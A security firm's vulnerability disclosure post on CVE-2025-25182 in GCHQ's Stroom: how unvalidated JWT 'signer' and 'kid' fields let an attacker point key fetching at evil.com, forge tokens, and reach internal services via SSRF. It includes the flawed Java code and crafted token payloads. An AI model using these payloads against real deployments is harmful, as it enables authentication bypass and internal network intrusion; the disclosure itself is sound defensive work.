Government Communications Headquarters (GCHQ), the UK's intelligence and security agency, has confirmed Miggo’s discovery of a 9.4 critical vulnerability, CVE-2025-25182, in its maintained project, Stroom. CVE-2025-25182 enables attackers to bypass authentication and authorization in any Stroom application. The vulnerability found was quickly patched by GCHQ’s security team, and users are strongly advised to upgrade to the latest version to mitigate risks.
What is Stroom?
Stroom is GCHQ’s second open source software project. It’s a scalable platform for processing and analyzing high-volume data like system logs. Stroom preserves raw data while enabling custom transformations and enrichment through pipelines. Users can search, visualize, and track metrics through dashboards and statistical tools.
What is CVE-2025-25182
CVE-2025-25182 is a vulnerability in Stroom that allows attackers to bypass authentication and authorization within any application configured to use ALB Authentication and applications accessible from the network. This also allows an attacker to access internal network services using SSRF (Server Side Request Forgery).
Which Versions Are Affected?
The affected versions are:
- >=7.2-beta.53 <7.4.4
- 7.5-beta.1
What Actions Should Teams Take?
To remediate this vulnerability, GCHQ strongly advises users to upgrade to these latest versions:
- 7.2.24, 7.3-beta.22
- 7.4.4, 7.5-beta.2
Miggo Research: Uncovering the Vulnerability
After finding ALBeast, we began investigating open-source systems that might be vulnerable to similar issues. The AWS public key server URL pattern became our trail of breadcrumbs, leading us through various GitHub repositories. During this research, we found multiple vulnerabilities, leading us to something interesting in GCHQ's Stroom project. The flaw we discovered is in Stroom’s ALB Authentication provider implementation, which is particularly concerning because it combines two critical vulnerabilities.
- Authentication/Authorization Bypass
- Server-Side Request Forgery (SSRF)
This assumes Stroom is deployed behind ALB and configured with authentication integration and the application is network accessible.
Discovering the Pattern
To find vulnerable systems on the ALBeast research, we looked for the AWS key server URL pattern on GitHub:
public-keys.auth.elb
This pointed us to repositories that use this ALB Authentication feature or at least support using it. It led us directly to the system’s logic that handles the key fetching, and then it was pretty easy to find vulnerable systems.
Security teams can search the exact same pattern to find the same issue in their private repositories. Any logic that doesn’t validate the signer field is vulnerable to ALBeast.
Let's break down what we found.
The Root Cause
Part 1. Authentication/Authorization Bypass
The vulnerability stems from how Stroom verifies JWT tokens when using ALB authentication. The critical path lies in the construction of the URL used to fetch the JWKS (JSON Web Key Set) key. Let's examine the relevant code:
static String getAwsPublicKeyUri(final JwsParts jwsParts) {
final Map<String, String> headerValues = jwsParts.getHeaderValues(
SIGNER_HEADER_KEY,
OpenId.KEY_ID);
// 1
final String signer = Optional.ofNullable(headerValues.get(SIGNER_HEADER_KEY))
final String keyId = Optional.ofNullable(headerValues.get(OpenId.KEY_ID))
// Signer is an Amazon Resource Name of the form:
// arn:partition:service:region:account-id:resource-id
// 2
final String[] signerParts = signer.split(AMZN_OIDC_SIGNER_SPLIT_CHAR);
final String awsRegion = signerParts[3];
// 3
final String uri = LogUtil.message("https://public-keys.auth.elb.{}.amazonaws.com/{}",
awsRegion, keyId);
return uri;
}
- Before the token in the X-Amzn-Oidc-Data header is verified, the signer and kid fields are extracted from the token's header (Line 478).
- The region is then extracted from the signer without any verification, the kid isn't being sanitized either.
- The region and kid are being used to construct the URL to fetch the public key.
Because both fields aren't validated, an attacker can craft a token and use those fields to manipulate the URL and point it to a controlled URL.
{
'signer': 'arn:partition:service:evil.com/mine:account-id:resource-id',
'kid': 'my_evil_public_key'
}
The key server that will be constructed:
https://public-keys.auth.elb.evil.com/mine.amazonaws.com/my_evil_public_key
Later, this function will be called with the attacker-controlled URI and will fetch the public key from the remote endpoint:
private PublicKey fetchAwsPublicKey(final String uri) {
final Client client = jerseyClientFactory.getNamedClient(JerseyClientName.AWS_PUBLIC_KEYS);
final WebTarget target = client.target(uri);
final Response res = target
.request()
.get();
if (res.getStatus() == HttpStatus.OK_200) {
final String pubKey = res.readEntity(String.class);
return decodePublicKey(pubKey, "EC");
} else {
throw new RuntimeException("Unable to retrieve public key from \"" +
uri +
"\"" +
res.getStatus() +
": " +
res.readEntity(String.class));
}
}
The, "public-keys.auth.elb.evil.com"
, domain is owned by the attacker and used to serve a public key on this endpoint: "/mine.amazonaws.com/my_evil_public_key"
.
Then, the attacker supplies the public key used to verify the JWT token. This ensures the attacker can forge a JWT token to the Stroom application and control the claims, bypassing the authentication/authorization mechanisms of the application.
Part 2. Server-Side Request Forgery (SSRF)
An authentication bypass vulnerability can be extended into a Blind Server-Side Request Forgery (SSRF) where the attacker has control of the target, the endpoint, and query parameters, allowing unauthorized access to internal network resources. Here's how it works:
1. The attacker crafts a malicious JWT with:
{
'signer': 'arn:partition:service:evil.com/mine:account-id:resource-id',
'kid': '../fully/controllable'
}
2. URL Construction Process:
final String uri = LogUtil.message("https://public-keys.auth.elb.{}.amazonaws.com/{}",
awsRegion, keyId);
So the URL will be constructed like this:
https://public-keys.auth.elb.evil.com/mine.amazonaws.com/../fully/controllable
This normalizes to:
https://public-keys.auth.elb.evil.com/fully/controllable
When an attacker controls the domain "public-keys.auth.elb.evil.com"
, they can manipulate its DNS settings to redirect traffic to any internal IP address they choose, such as 127.0.0.1
. This means that when the system tries to access this domain, it will connect to the internal IP address specified by the attacker. Additionally, the attacker can modify the path component (like '../fully/controllable'
) to access different internal endpoints within the target system.
We also have control over the port, so let’s say we want to access the 1337 port:
{
'signer': 'arn:partition:service:evil.com:1337/mine:account-id:resource-id',
'kid': '../fully/controllable'
}
This normalizes to:
https://public-keys.auth.elb.evil.com:1337/fully/controllable
This SSRF vulnerability enables an attacker to:
- Bypass network segmentation
- Gain access to internal services not meant to be publicly accessible
- Potentially extract sensitive information from internal endpoints
- Interact with internal systems through HTTPS requests
Responsible Disclosure
We reported this vulnerability to GCHQ through GitHub security advisory and offered a patch. Their security team handled this situation collaboratively and professionally by quickly pushing this patch, analyzing the exposure, mapping the vulnerable instances, and verifying that all vulnerable instances have appropriate mitigations in place.
After verifying, they released CVE-2025-25182. The way this security issue was resolved is inspiring and ideal for security teams.
We want to thank all those involved in this disclosure process for their inspiring security perception and incident management.
“GCHQ and NCSC are advocates of cyber security best practices, and this vulnerability is an example of how a disclosure process enables a reported vulnerability to be resolved quickly. We thank Liad Eliyahu and Miggo Security for supporting open-source projects and responsibly disclosing this vulnerability. For more information on how you can create a vulnerability disclosure process, visit the NCSC website.” - Ollie Whitehouse, CTO, NCSC
Who’s Responsible for What?
When exposed, these types of vulnerabilities and misconfigurations can have severe consequences: exposing sensitive data, bypassing company security controls, or enabling lateral movement across the organization. The SSRF vulnerability described earlier is the perfect example of how these vulnerabilities can be a jumping-off point to gain access to internal systems.
The discovery of these vulnerabilities suggests we need a fundamental shift in how we approach application security in cloud environments. Cloud providers cannot keep track of all the possible user configurations and applications that might compromise an environment. On the other hand, security teams have limited functionality in changing cloud features, and sometimes, some cloud services even lack security documentation, like in the ALBeast case, which limits the security teams' ability to configure the services properly, leaving them exposed.
This combination - where the cloud provider failed to provide comprehensive security documentation for configurations and the customer failed to implement independent verification - created the perfect conditions for the vulnerability. This leaves a “gray zone” in the shared responsibility model, left to be exploited by attackers.
The Path Forward
GCHQ is strongly advising all users to upgrade to the latest versions.
The discovery of this vulnerability emphasizes the need for a fundamental shift in how teams approach application security in cloud environments. In the case of CVE-2025-25182, the vulnerability started from the assumption that the ALB authentication would verify the token and the application would construct URLs using user-supplied values and perform DNS resolution - a chain of events only visible during runtime. Some vulnerability patterns could be identified through code scanning. But these tools lack the context from the source of the input, leading to either missing the authentication bypass entirely, incorrectly flagging unrelated findings, or misunderstanding the potential impact. The flaw wasn't in a single component but in how these components interacted when processing a malicious input, making runtime monitoring the only reliable way to detect such attack patterns.
For security teams relying solely on the cloud provider for security measures or customer code-level security, it’s time to consider implementing a hybrid approach that enforces:
- Strong configuration management
- Runtime security monitoring
- Continuous validation of security assumptions
- Independent security controls